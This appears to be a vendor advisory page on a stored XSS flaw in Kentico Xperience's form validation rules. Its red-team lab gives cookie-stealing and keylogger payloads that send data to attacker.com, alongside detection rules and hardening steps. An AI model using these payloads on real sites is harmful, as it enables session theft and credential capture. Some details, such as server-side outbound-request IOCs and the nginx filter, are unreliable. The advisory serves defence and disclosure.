CVE-2024-58321
Executive Summary
CVE-2024-58321 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience, a .NET-based content management system. The flaw resides in the form validation rule configuration interface, allowing an authenticated attacker with administrative access to inject arbitrary JavaScript. When a user (including other administrators or site visitors) interacts with the affected form, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. No public exploit code or patch is currently available, but the vulnerability is considered exploitable in the wild due to the commonality of XSS attack vectors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Kentico Xperience is a proprietary .NET CMS. No open-source package (NPM, PyPI, Go, Ruby) is directly affected. However, organizations using Kentico should verify that no third-party modules or custom form validation rules introduce additional attack surface.
CVSS Breakdown & Threat Level
CVSS Score: 6.1 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required beyond standard web access.
- Privileges Required (PR): Low – attacker needs an authenticated account with form configuration permissions.
- User Interaction (UI): Required – victim must visit the affected form page.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – script can modify content or behavior.
- Availability (A): None – no direct denial-of-service impact.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for chaining with other vulnerabilities (e.g., privilege escalation) elevates the risk for unpatched instances.
Deep Dive & Mechanics
The vulnerability exists in the form validation rule configuration module of Kentico Xperience. When an administrator creates or edits a form field validation rule, the application fails to properly sanitize user-supplied input before storing it in the database. The stored value is later rendered in the form builder interface or on public-facing forms without adequate output encoding.
Attack Flow:
- Attacker logs in with an account that has permission to manage form validation rules (typically an administrator or content editor role).
- Attacker navigates to the form builder and selects a field to add a validation rule.
- In the rule configuration input (e.g., custom error message or regex pattern), the attacker injects a payload like
<script>alert(document.cookie)</script>. - The payload is stored in the database without sanitization.
- When any user (including other admins or site visitors) loads the page containing that form, the script executes in their browser.
Root Cause: Lack of input validation and output encoding in the form validation rule configuration endpoint. The application likely uses a rich text editor or plain text input that is not filtered for HTML/JavaScript.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (C#/ASP.NET MVC example):
// Controller action saving validation rule
[HttpPost]
public ActionResult SaveValidationRule(ValidationRuleModel model)
{
// Directly stores user input without encoding
var rule = new ValidationRule
{
FieldId = model.FieldId,
ErrorMessage = model.ErrorMessage, // Unsanitized
Pattern = model.Pattern // Unsanitized
};
_db.ValidationRules.Add(rule);
_db.SaveChanges();
return Json(new { success = true });
}
Patched Code (Hypothetical):
[HttpPost]
public ActionResult SaveValidationRule(ValidationRuleModel model)
{
// Encode input before storage (defense in depth)
var rule = new ValidationRule
{
FieldId = model.FieldId,
ErrorMessage = HttpUtility.HtmlEncode(model.ErrorMessage),
Pattern = HttpUtility.HtmlEncode(model.Pattern)
};
_db.ValidationRules.Add(rule);
_db.SaveChanges();
return Json(new { success = true });
}
Additionally, output encoding should be applied when rendering the rule in views:
@Html.Raw(HttpUtility.HtmlEncode(Model.ErrorMessage))
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A test instance of Kentico Xperience (any version prior to patch).
- An authenticated account with "Form Designer" or "Administrator" privileges.
Steps:
- Log in to the Kentico admin panel.
- Navigate to Forms → select a form → Fields → edit a field.
- Under Validation, add a new rule (e.g., "Custom Regex").
- In the Error Message field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the rule.
- Visit the public form page or the form builder preview. The script will execute, sending the victim's cookies to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web application logs for unusual POST requests to
/Admin/Forms/SaveValidationRuleor similar endpoints. - Look for payload patterns in form field values:
<script,onerror=,javascript:. - Use WAF rules to block common XSS patterns in form validation inputs.
Hardening:
- Apply input validation: reject any input containing HTML tags in validation rule fields.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict form configuration permissions to only trusted administrators.
- Regularly audit form validation rules for malicious content.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains from the Kentico server (e.g.,
GET /steal?cookie=...). - File System: Modified or new entries in the
CMS_ValidationRuledatabase table containing<script>tags. - Logs: Repeated failed login attempts followed by form configuration changes from the same IP.
- Behavior: Unexpected pop-ups, redirects, or form submission failures on Kentico pages.
Detection Engineering
YARA Rule
rule Kentico_XSS_Stored_CVE_2024_58321 {
meta:
description = "Detects stored XSS payloads in Kentico Xperience form validation rules"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-58321"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /javascript\s*:\s*/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Kentico Xperience Stored XSS in Form Validation Rules
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects potential stored XSS attempts via form validation rule configuration in Kentico Xperience.
author: Valters IT
date: 2025-04-10
logsource:
category: web_application
product: kentico
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/Admin/Forms/SaveValidationRule'
cs-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom validation (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-58321 Kentico Xperience Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/Admin/Forms/SaveValidationRule"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable form validation rule editing for non-essential users until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in form validation inputs. - Audit existing form validation rules for any injected scripts using database queries:
SELECT * FROM CMS_ValidationRule WHERE ErrorMessage LIKE '%<script%' OR Pattern LIKE '%<script%';
Long-Term Fix:
- Apply input sanitization and output encoding as shown in the patched code example.
- Upgrade to a patched version once Kentico releases an update.
- Enable Content Security Policy (CSP) with
script-src 'self'to mitigate XSS impact.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter requests to the vulnerable endpoint:
location /Admin/Forms/SaveValidationRule { if ($request_body ~* "<script") { return 403; } }
Valters IT